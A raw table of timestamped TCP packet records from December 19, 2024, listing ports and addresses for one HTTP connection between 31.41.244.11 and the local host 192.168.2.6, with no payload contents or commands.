Dec 19, 2024 16:10:44.186975002 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.186985970 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.187021971 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.187027931 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.187083960 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.187828064 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.187841892 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.187889099 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.188764095 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.188816071 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.188864946 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.188909054 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.189719915 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.189769983 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.189838886 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.189889908 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.190540075 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.190579891 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.190639973 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.190674067 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.191629887 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.191642046 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.191674948 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.191694021 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.192368984 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.192418098 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.192512035 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.192550898 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.193478107 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.193527937 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.194376945 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.194395065 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.194420099 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.194423914 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.194447994 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.194461107 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.195146084 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.195158005 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.195187092 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.195204020 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.196000099 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.196054935 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.196683884 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.196718931 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.196959972 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.196995974 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.197114944 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.197149992 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.197860956 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.197901011 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.198086023 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.198121071 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.198779106 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.198821068 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.199070930 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.199107885 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.199754000 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.199798107 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.199841022 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.199877977 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.200604916 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.200644970 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.200731039 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.200836897 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.201497078 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.201539993 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.202069044 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.202114105 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.202383995 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.202425003 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.202457905 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.202495098 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.203353882 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.203393936 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.203501940 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.203540087 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.204196930 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.204241991 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.204338074 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.204374075 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.205190897 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.205236912 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.205338001 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.205380917 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.206093073 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.206140995 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.206268072 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.206300974 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.207639933 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.207710981 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.207869053 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.207880974 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.207907915 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.207932949 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.209031105 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.209042072 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.209050894 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.209069967 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.209115982 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.209747076 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.209781885 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.210172892 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.210216999 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.210736036 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.210782051 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.211285114 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.211323023 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.211474895 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.211512089 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.212421894 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.212434053 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.212455034 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.212472916 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.212502003 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.212533951 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.213284969 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.213324070 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.213773012 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.213813066 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.214222908 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.214235067 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.214266062 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.215111971 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.215151072 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.215452909 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.215491056 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.216026068 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.216063023 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.216634035 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.216671944 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.216921091 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.216962099 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.217340946 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.217375994 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.217842102 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.217875004 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.217916012 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.217948914 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.218794107 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.218835115 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.218842030 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.218875885 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.220103979 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.220144033 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.220504045 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.220541954 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.220576048 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.220608950 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.220663071 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.220696926 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.221534014 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.221570015 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.221858978 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.221898079 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.222421885 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.222481012 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.222697020 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.222795963 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.223280907 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.223325014 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.223393917 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.223436117 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.224227905 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.224267960 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.224757910 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.224796057 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.225086927 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.225128889 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.225353956 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.225388050 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.226027012 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.226063013 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.226350069 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.226387024 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.349499941 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.349555016 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.349920034 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.349934101 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.349958897 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.349972963 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.349975109 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.350004911 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.350831985 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.350867033 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.350917101 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.350950956 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.351716995 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.351752043 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.374185085 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.374237061 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.374305964 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.374337912 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.374692917 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.374706030 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.374727011 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.374747038 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.375587940 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.375627041 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.375838995 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.375884056 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.376478910 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.376513958 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.376719952 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.376755953 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.377383947 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.377415895 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.377654076 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.377688885 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.378379107 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.378391981 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.378412962 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.378434896 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.379230022 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.379266024 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.379503012 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.379534006 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.380130053 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.380171061 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.380502939 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.380537033 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.381067991 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.381103992 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.381150007 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.381221056 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.381947994 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.381980896 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.382400990 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.382441998 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.382862091 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.382899046 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.383028030 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.383060932 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.383816957 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.383860111 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.384684086 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.384696960 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.384725094 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.384728909 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.384751081 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.384773016 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.385562897 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.385598898 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.385623932 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.385664940 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.386460066 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.386497021 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.386579990 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.386615038 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.387398005 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.387439013 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.387554884 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.387592077 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.388303041 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.388341904 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.388555050 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.388595104 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.389282942 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.389297009 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.389318943 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.389628887 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.390151024 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.390213013 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.390438080 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.390482903 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.391204119 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.391271114 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.391323090 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.391362906 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.391978979 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.392014980 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.392056942 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.392095089 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.392855883 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.392895937 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.393085957 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.393122911 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.393815041 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.393858910 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.394365072 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.394399881 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.394687891 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.394701958 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.394723892 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.394753933 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.395828962 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.395843983 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.395870924 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.395896912 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.396507978 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.396553040 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.396639109 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.396673918 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.397445917 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.397480965 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.397893906 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.397927999 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.398358107 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.398395061 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.398555994 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.398588896 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.399225950 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.399260044 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.399663925 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.399698973 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.400155067 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.400187969 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.400291920 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.400326014 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.401036978 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.401079893 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.401127100 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.401165962 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.401993990 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.402033091 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.402163029 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.402199030 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.402868986 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.402900934 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.402937889 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.402980089 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.404021025 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.404062986 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.404067993 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.404112101 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.404772043 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.404818058 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.404930115 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.404967070 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.405637980 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.405677080 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.405797958 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.405853033 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.406490088 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.406527996 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.406673908 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.406706095 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.407439947 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.407454014 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:44.407479048 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:44.407500029 CET	49931	80	192.168.2.6	31.41.244.11
